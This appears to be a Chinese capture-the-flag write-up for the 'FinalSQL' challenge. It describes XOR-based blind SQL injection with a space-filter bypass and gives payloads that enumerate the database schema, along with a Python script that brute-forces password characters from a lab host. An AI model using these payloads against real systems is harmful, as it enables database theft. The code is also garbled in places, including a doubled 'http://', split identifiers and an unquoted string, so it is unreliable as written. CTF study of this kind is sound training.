[极客大挑战 2019]FinalSQL
题目 过程 1.提示盲注,找注入口,fuzz看过滤情况,使用bp自带的字典即可。 2.’^‘没有被过滤,输入1^1回显’ERROR’,1^0回显’NO! Not this! Click others~~~’,判断出为数字型注入 由于空格被过滤,用()代替。
1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema ta)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称 1^(ord(substr((select(group_concat(table_name))from(information_schema.tables) where(table_schema)=geek),%d,1))=%d)^1"%(i,ord(j)) 获取数据库表名 1^(ord(substr((select(group_concat(column_name))from(information_schema.column s)where(table_name=F1naI1y)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库列名
最终payload
import requests
url = "http://http://5b8979b2-48a2-452e-bb0d-77a4a0e25db9.node3.buuoj.cn/search.php"
for i in range(1,20):
for j in range(1,128): d="?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),"+str(i)+",1))="+str(j)+")^1"
r = requests.get(url+d)
if Click in r.text:
print(chr(j))
